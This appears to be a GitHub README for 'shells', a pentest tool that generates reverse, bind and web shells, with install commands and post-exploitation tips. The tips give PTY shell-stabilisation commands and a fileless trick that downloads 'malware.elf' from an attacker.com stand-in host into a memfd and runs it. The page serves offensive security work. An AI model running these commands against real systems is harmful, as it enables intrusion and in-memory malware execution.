dadevel / shells

Collection of Reverse, Bind & Web Shells

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Shells

Demo

A collection of reverse, bind and web shells from all over the internet.

Setup

a) With pipx.

pipx install git+https://github.com/dadevel/shells.git@main

b) With pip.

pip install --user git+https://github.com/dadevel/shells.git@main

Usage

Just run genshell and select one of the many templates.

Some advanced templates require manual steps:

Tips

Metasploit payloads like windows/shell_reverse_tcp are one of the few reverse shells for Windows that support interactive commands.

Linux PTY

Spawn a PTY and stabilize your shell with Python.

python -c 'import pty;pty.spawn("/bin/bash")'
# ctrl+z
echo "stty sane;stty rows $LINES cols $COLUMNS;export TERM=xterm;" | xclip -sel clip
stty raw -echo && fg
# paste clipboard and press enter

Alternatively spawn a PTY with script.

script -q -c /bin/bash /dev/null

Linux memfd_create()

Create file in memory with Python 3.8 or newer (source).

$ python3 -c "from os import*;fork()or(setsid(),print(f'/proc/{getpid()}/fd/{memfd_create(sep)}'),kill(0,19))"
/proc/139856/fd/3
$ curl -o /proc/139856/fd/3 https://attacker.com/malware.elf
$ /proc/139856/fd/3

Other interesting tools

  • Kraken, multi-language webshell
  • xc, reverse shell for Linux and Windows written in Go

About

Collection of Reverse, Bind & Web Shells

License:MIT License


Languages

Language:ASP.NET 21.6%Language:PHP 13.7%Language:Python 12.1%Language:Java 12.0%Language:Shell 9.3%Language:Perl 7.4%Language:C++ 6.6%Language:Go 3.7%Language:Classic ASP 3.4%Language:C 3.4%Language:ColdFusion 2.7%Language:PowerShell 2.0%Language:Batchfile 1.4%Language:Raku 0.4%Language:Lua 0.1%Language:Ruby 0.1%Language:JavaScript 0.1%